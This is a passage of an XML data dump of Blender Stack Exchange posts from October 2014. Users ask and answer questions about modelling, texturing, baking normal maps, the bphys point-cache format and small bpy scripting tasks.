  <row Id="16465" PostTypeId="2" ParentId="16390" CreationDate="2014-10-06T00:31:07.533" Score="1" Body="&lt;p&gt;Thanks to @Cegaton, the line is now gone! He suggested I resize my background image, as the line coincided with the bottom of the image. Now that I resized the image so that there are no edges within the camera view, the line is gone! Thank you Cegaton!!&lt;/p&gt;&#xA;" OwnerUserId="6313" LastActivityDate="2014-10-06T00:31:07.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16467" PostTypeId="1" AcceptedAnswerId="16474" CreationDate="2014-10-06T03:31:27.413" Score="15" ViewCount="2626" Body="&lt;p&gt;I'm wondering if something like this is possible to make in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dribbble.com/shots/1680920-Twisting-Circle-incl-project-file?list=buckets&amp;amp;offset=117&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20141015175556/https://d13yacurqjgara.cloudfront.net/users/298242/screenshots/1680920/tc.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141015175556/https://d13yacurqjgara.cloudfront.net/users/298242/screenshots/1680920/tc.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This animation I found on &lt;a href=&quot;https://dribbble.com/shots/1680920-Twisting-Circle-incl-project-file?list=buckets&amp;amp;offset=117&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dribble&lt;/a&gt; looks really amazing. The person who made it says it is done on Cinema 4D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like a string starting with a circular shape, then it is being twisted into a sphere with equal spacing in between. The sphere is then rotated and finally returning to its original circular shape.&lt;/p&gt;&#xA;" OwnerUserId="6252" LastEditorUserId="32220" LastEditDate="2019-07-17T09:46:34.810" LastActivityDate="2019-07-17T09:46:34.810" Title="Is it possible to twist a circle into a sphere?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="16468" PostTypeId="1" AcceptedAnswerId="16572" CreationDate="2014-10-06T03:51:24.583" Score="1" ViewCount="1933" Body="&lt;p&gt;I'm a bit of a noob when it comes to Blender, so bear with me here if this question doesn't include all pertinent information at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working with an existing mesh for Fallout3. The mesh has three (3) nodes, one of which I want to modify slightly. Using Nifskope 1.1.3, I exported the node to an OBJ file, then opened that OBJ file in Blender 2.71. In Blender, I trimmed away vertices until I had what I wanted, then I exported the object as an OBJ file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in Nifskope again, I imported the OBJ file as a new NiTriShape. So far, all has worked as expected. However, the imported node will not show the texture applied to it, despite showing the correct texture path/file in both Nifskope AND Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, I'm doing something wrong here - probably in Blender before the export - but I haven't had any success finding out what so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips in the right direction are greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/em&gt;&lt;/strong&gt; I've tried pointing to other DDS textures, in case the problem was my custom texture. Same thing - just a flat gray with no texture applied. I also tried adding a BSShaderPPLighting node (incl. BSShaderTexture) to the NiTriShape, and pointing that to various textures as well. Same issue. I'm starting to think the problem is with the UV mapping in Blender, but I could be wrong.&lt;/p&gt;&#xA;" OwnerUserId="1699" LastEditorUserId="1699" LastEditDate="2014-10-06T13:01:16.497" LastActivityDate="2017-01-19T20:17:03.913" Title="OBJ imported into Nifskope has no texture" Tags="&lt;texturing&gt;&lt;export&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16471" PostTypeId="2" ParentId="15577" CreationDate="2014-10-06T05:08:54.767" Score="6" Body="&lt;p&gt;the first 9 bytes of the bphys file is the Header of the file. the first 8 are 'BPHYSICS' after which there is a unsigned int describing the type of data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 softbody&#xA;1 particles&#xA;2 cloth&#xA;3 smoke_domain&#xA;4 smoke_highres&#xA;5 dynamicpaint&#xA;6 rigidbody &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the link you posted is in relation to Particles, so i will assume you are only looking at accessing the particle data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after the header, each particle has the following data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index , 4&#xA;location , 12 &#xA;velocity , 12 &#xA;rotation , 16 &#xA;avelocity , 12&#xA;size , 4&#xA;times , 12&#xA;boids , 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, the pointcache reader will only write/read boid data if the particle system has boids enabled. so if you're not using boids, you just dont read that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming there is no boid data you will want to read the following data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int, // BPHYS_DATA_INDEX&#xA;3 * float, // BPHYS_DATA_LOCATION&#xA;3 * float, // BPHYS_DATA_VELOCITY&#xA;4 * float, // BPHYS_DATA_ROTATION&#xA;3 * float, // BPHYS_DATA_AVELOCITY / BPHYS_DATA_XCONST&#xA;float, // BPHYS_DATA_SIZE&#xA;3 * float, // BPHYS_DATA_TIMES  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all this information can be found in &#xA;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/pointcache.c&quot; rel=&quot;nofollow&quot;&gt;pointcache.c&lt;/a&gt; file in blender's code.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="6089" LastEditDate="2016-08-20T21:42:03.820" LastActivityDate="2016-08-20T21:42:03.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16472" PostTypeId="1" AcceptedAnswerId="16678" CreationDate="2014-10-06T05:21:42.817" Score="16" ViewCount="13285" Body="&lt;p&gt;As asked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to get the projection matrix of the active camera, via python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think this question is different from the one asked &lt;a href=&quot;https://blender.stackexchange.com/questions/9203/how-to-set-a-custom-4x4-projection-matrix-in-blender&quot;&gt;here&lt;/a&gt;, because getting a matrix is different from setting the matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, since this question was so quickly marked a duplicate, I guess the answer is the same.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2020-05-30T13:27:10.320" Title="How can I get the camera's projection matrix?" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16473" PostTypeId="1" CreationDate="2014-10-06T06:19:47.867" Score="2" ViewCount="2200" Body="&lt;p&gt;I am new to blender. And want know how to get the filter nodes in 2.71. I'm tired of trying. In my copy of blender filter nodes are not visible. Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="6356" LastActivityDate="2014-10-06T09:21:46.390" Title="blender filter nodes not visible" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-10-07T22:34:01.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="16474" PostTypeId="2" ParentId="16467" CreationDate="2014-10-06T06:28:35.990" Score="18" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably multiple ways of doing this, but one way is to use a circle with a simple deform modifier set to &lt;em&gt;twist&lt;/em&gt;, and using an empty as the twist origin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RJRQd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By animating the rotation of both the circle and the empty, you can make it twist around, and by animating the deform angle, you can control the amount of twisting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; (click for better quality)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SimplisticUnsteadyAttwatersprairiechicken&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/SimplisticUnsteadyAttwatersprairiechicken.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31917&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.540" LastActivityDate="2014-10-06T07:20:28.887" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16475" PostTypeId="1" AcceptedAnswerId="16476" CreationDate="2014-10-06T07:26:52.960" Score="2" ViewCount="1253" Body="&lt;p&gt;Somehow I have managed to add objects to a group called &quot;myGroup&quot; without actually wanting to do that. I now want to remove all those objects from that group, which at the same time were already assigned to another group. I figured the best way would be to do that in python. I tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;allObjects = bpy.data.objects;&#xA;for obj in allObjects:&#xA;    count = 0;&#xA;    found = 0;&#xA;    for gr in obj.users_group:&#xA;        count = count + 1;&#xA;        if gr.name == 'myGroup'&#xA;            found = 1;&#xA;    if count &amp;gt; 1 and found == 1&#xA;        for object in bpy.context.visible_objects:&#xA;            object.select = False;&#xA;        obj.select = True;&#xA;        REMOVE obj from group myGroup!!!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not know how to put the last line into valid python code. I know that there is a function could &quot;bpy.ops.object.group_remove()&quot;, but I do not understand which group the object is deleted from when I call this function.&#xA;Any help? :)&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-10-06T07:38:14.950" Title="Remove object from specific group programmatically" Tags="&lt;python&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16476" PostTypeId="2" ParentId="16475" CreationDate="2014-10-06T07:32:23.143" Score="3" Body="&lt;p&gt;If you don't mind not using python, you can just select the objects and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;, then select the group you want to remove them from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G9PAG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you still want to use python, then you want a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.group.html?highlight=objects_remove#bpy.ops.group.objects_remove&quot; rel=&quot;nofollow noreferrer&quot;&gt;group operator&lt;/a&gt;, rather than a object operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.group.objects_remove(group=&quot;myGroup&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove the selected objects from the group &quot;myGroup&quot;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-06T07:38:14.950" LastActivityDate="2014-10-06T07:38:14.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16477" PostTypeId="1" CreationDate="2014-10-06T07:54:49.187" Score="1" ViewCount="2488" Body="&lt;p&gt;I know that this is a usual question and might already have an answer online, but I am stuck at UV unwrapping for a lot of time already and i want to explain my issue in detail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add textures from an image onto a few cubic meshes i have, mostly the front face. I unwrapped the cube in blender and added a image to and it looks good in the texture window, but as soon as i enter object mode or rendered the image is no more and the cube is showing the material only and not the image. I have already assigned the image texture with UV coordinates to the cube still it doesn't show up on object mode. Please help me..  &lt;/p&gt;&#xA;" OwnerUserId="6357" LastActivityDate="2015-01-30T02:12:37.283" Title="UV unwrap doesn't show up in Object Mode?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16478" PostTypeId="2" ParentId="16473" CreationDate="2014-10-06T09:21:46.390" Score="1" Body="&lt;p&gt;You probably just need to switch the tree type to compositing nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdJEZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2014-10-06T09:21:46.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16479" PostTypeId="2" ParentId="16437" CreationDate="2014-10-06T09:43:01.690" Score="7" Body="&lt;p&gt;Just use a white glossy shader with a bit of roughness, and an HDRI image for the lightning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UmeOw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender file: &lt;a href=&quot;http://www.pasteall.org/blend/31926&quot;&gt;http://www.pasteall.org/blend/31926&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2014-10-06T09:43:01.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16480" PostTypeId="1" CreationDate="2014-10-06T10:35:13.710" Score="6" ViewCount="14906" Body="&lt;p&gt;I want to know how to cut a cube and delete some parts of it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O6g9P.jpg&quot; rel=&quot;noreferrer&quot;&gt;This is the original cube!&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/O6g9P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RBUTo.jpg&quot; rel=&quot;noreferrer&quot;&gt;This is how I want to cut it... I made this with paint!&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RBUTo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6360" LastEditorDisplayName="user1853" LastEditDate="2014-10-06T12:45:22.380" LastActivityDate="2017-11-24T04:42:49.537" Title="How to make windows into a wall?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16481" PostTypeId="1" CreationDate="2014-10-06T12:33:12.877" Score="10" ViewCount="5411" Body="&lt;p&gt;I have a cycles material (diffuse shader) with a procedural normal map on it, which renders as expected in Cycles. But if I bake the normal map it outputs a flat image (0.5, 0.5, 1.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried Bake from Selected with a normal mapped material and that doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I bake a normal mapped material into a normal map?&lt;/p&gt;&#xA;" OwnerUserId="6362" LastEditorUserId="2217" LastEditDate="2014-10-07T01:11:58.070" LastActivityDate="2016-04-20T11:20:37.830" Title="Baking normal map from a cycles shader with normals" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16482" PostTypeId="2" ParentId="16480" CreationDate="2014-10-06T12:33:21.403" Score="11" Body="&lt;p&gt;Select the face where you want the window,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LuICR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;press &lt;kbd&gt;E&lt;/kbd&gt; to extrude and move the newly created wall in the direction you want the extrusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hrL79.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete then the selected face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ABUh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Another quick way to make a window is using the inset tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the face on which you want to make the window, press &lt;kbd&gt;I&lt;/kbd&gt; and drag the mouse. That will create a new face of similar proportions connected to the edges of the original wall. Then extrude by pressing &lt;kbd&gt;E&lt;/kbd&gt; and dragging the mouse to create the depth for the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3EKJ3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-12T23:41:36.873" LastActivityDate="2014-10-12T23:41:36.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16485" PostTypeId="2" ParentId="10999" CreationDate="2014-10-06T13:27:30.920" Score="3" Body="&lt;p&gt;I found a way to do it only in the Blender Internal render engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add a subdivision surface modifier to the object. Then I add a new wireframe material and make it shadeless. Then I add a new material and assign it to the object. As long as the wireframe material is on top of the other materials, it will be shown in the render. Then in edit mode I hit E and then Mark freestyle edge. Then I click on Freestyle in the Render panel to enable freestyle and in the Render Layers panel I click only on Edge mark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMFwa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-10-06T13:27:30.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16486" PostTypeId="1" AcceptedAnswerId="16495" CreationDate="2014-10-06T14:09:54.917" Score="7" ViewCount="11175" Body="&lt;p&gt;I'm not a beginner to 3d. However, the node editor seems confusing when creating materials. I like the way I can make materials in c4d. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is simple. What is the difference let's say between the way materials are created in blender vs other non-node based methods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, am I overthinking that the node system is that hard to learn?  Can someone post a video or article which explains how to for example create a plastic or glass or chrome etc., which shows the workflow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I think Blender is a great piece of software. The only thing stopping me from switching to it completely is just that, nodes.&lt;/p&gt;&#xA;" OwnerUserId="5712" LastEditorUserId="29301" LastEditDate="2018-03-10T04:15:00.673" LastActivityDate="2020-10-29T22:52:30.377" Title="Learning cycles material nodes" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16487" PostTypeId="1" AcceptedAnswerId="36607" CreationDate="2014-10-06T14:33:34.167" Score="6" ViewCount="30443" Body="&lt;p&gt;I tried importing UE4's &lt;a href=&quot;https://cdn.unrealengine.com/marketplace_samples/Epic_Skeleton_Template.fbx&quot; rel=&quot;noreferrer&quot;&gt;marketplace skeleton template&lt;/a&gt; into blender. But the bones import with incorrect rotation and size as shown bellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YxM1R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weights seem to be working, I can pose the character. But the IK constraints doesn't seem to work. I thought of manually rotating them all myself, but according to UE4's marketplace submission guidelines, that would break compatibility. How could I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2015-09-27T20:14:23.987" Title="Bones import incorrectly from FBX file" Tags="&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16488" PostTypeId="1" AcceptedAnswerId="16492" CreationDate="2014-10-06T14:46:30.133" Score="0" ViewCount="1361" Body="&lt;p&gt;I created a piece of wire in Cycles which uses an array modifier and curve modifier.&#xA;(the piece is e.g. 5cm and is used in my scene at several locations (e.g. a wire of 25meter distance, etc...).&#xA;I need the detail from the wire because I want to zoom in with the camera and fly over the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I work in Blender, the editing is slow but ok. Rendering however is very very slow It takes more than 10minutes to build BVH (or something like that..).&#xA;The modifiers to my model are already applied, so I can't undo this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of the Blender dialog I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v2.72 | Verts: 13.926.207 | Faces: 13.960.114 | Tris: 27.912.399 | Objects: 1/29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a blender beginner, how can I make this blender file more 'workable' (lighter/faster/...)? &#xA;Now I need to wait 20 or 25 minutes to render 1 frame, which I think is not thàt complex.&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2014-10-06T17:24:50.890" Title="How to make a large mesh smaller and workable?" Tags="&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16489" PostTypeId="1" CreationDate="2014-10-06T15:24:14.410" Score="2" ViewCount="2748" Body="&lt;p&gt;So I made some hair in blender using cycles and as soon as i hit animate (the play button in the time line) it strongly resembles her standing in a pool of water with a live overhead powerline in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I am missing a setting here some place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(video included.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=L3fG4QBpNTE&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=L3fG4QBpNTE&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="6255" LastActivityDate="2015-06-16T20:35:20.200" Title="Problems with particle hair in 2.72 (cycles)" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16492" PostTypeId="2" ParentId="16488" CreationDate="2014-10-06T16:39:40.173" Score="2" Body="&lt;p&gt;Some ways to reduce interaction time. Consider Please&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Work in wireframe mode when that is possible.  You need not work in render mode all the time.&lt;/li&gt;&#xA;&lt;li&gt;Change maximum draw type for some objects to wireframe&lt;/li&gt;&#xA;&lt;li&gt;Turn off Eye display of less important items for preview in outliner.  Camera Render Stays On.  Sometimes Groups can help this.&lt;/li&gt;&#xA;&lt;li&gt;Bill board texture technique game style. A complex fence might be rendered once and then the texture put on blender planes. Crude and quick display substitute. Eye Display Only. Camera Render off.  Same location as the complex fence.&lt;/li&gt;&#xA;&lt;li&gt;Working in local mode sometimes to isolate editing ... key / to enter and the same key to exit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once a array modifier with repeat N on a meshA is applied and become meshFinal ... &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the number of vertices of MeshFinal = N * (number of vertices of MeshA)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once can reduce such vertices sometimes by using a Particle System with can produces meshes with a shared vertex datablock.   Configuration Settings .. Editing ... Duplicate Data ... Mesh may affect this.  The object size overhead is present in this case.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-06T17:24:50.890" LastActivityDate="2014-10-06T17:24:50.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16493" PostTypeId="1" CreationDate="2014-10-06T18:31:54.987" Score="4" ViewCount="2112" Body="&lt;p&gt;Since there seems to be no direct way to get the camera's projection matrix, I'm hoping that it's possible to fit the viewport to the current field of view (the area encompassed by passepartout), because then the viewport projection matrix would in effect be the camera projection matrix, and that matrix can be retrieved via &lt;code&gt;region_3d.perspective_matrix&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in pictures, I'm looking to do the following via Python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YZM0Y.png&quot; alt=&quot;before.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rm32b.png&quot; alt=&quot;after.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to export the projection matrix for an external application, so that my view there matches blender's camera view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that purpose, this is a roundabout way to ask, but my previous question was (in my view, incorrectly) marked as a duplicate.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-10-07T03:39:24.940" LastActivityDate="2014-10-07T03:39:24.940" Title="Is there a way to fit the viewport to the current field of view?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16494" PostTypeId="2" ParentId="16493" CreationDate="2014-10-06T18:55:25.460" Score="-1" Body="&lt;p&gt;Spacebar menu ..... view camera center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bpy.ops.view3d.camera_to_view()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FuneR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-06T18:55:25.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16495" PostTypeId="2" ParentId="16486" CreationDate="2014-10-06T19:11:26.667" Score="13" Body="&lt;p&gt;You can in theory create any material in the properties editor just as well as the node editor, but in practice the node editor is a lot easier and faster to work with once you get used to it.&lt;/p&gt;&#xA;&lt;p&gt;Material nodes mostly work by mixing together different aspects of the way a surface interacts with light (shader nodes) and by mixing together different textures, whether they are 3D procedural textures or 2D image textures.&lt;/p&gt;&#xA;&lt;p&gt;For instance you might mix some diffuse and glossy together based on fresnel node to make a simple ceramic shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1kxLF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or you might use a procedural voronoi texture to add some displacement and make&#xA;a kind of hammered copper shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNz40.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The possibilities are pretty much endless.&lt;/p&gt;&#xA;&lt;p&gt;I'd recommend you look around for some tutorials to get used to working with nodes. There are plenty on youtube and similar sites. Here are some others to get you started:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/tutorials/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender guru&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderdiplom.com/en/tutorials/all-tutorials.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender diplom&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cgcookie.com/course/shader-forge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender cookie&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/index.html#shader-nodes/index.html#nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt; is a good a reference for information on specific nodes.&lt;/p&gt;&#xA;&lt;p&gt;And of course you can always ask around here if you have more questions ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-29T22:52:30.377" LastActivityDate="2020-10-29T22:52:30.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
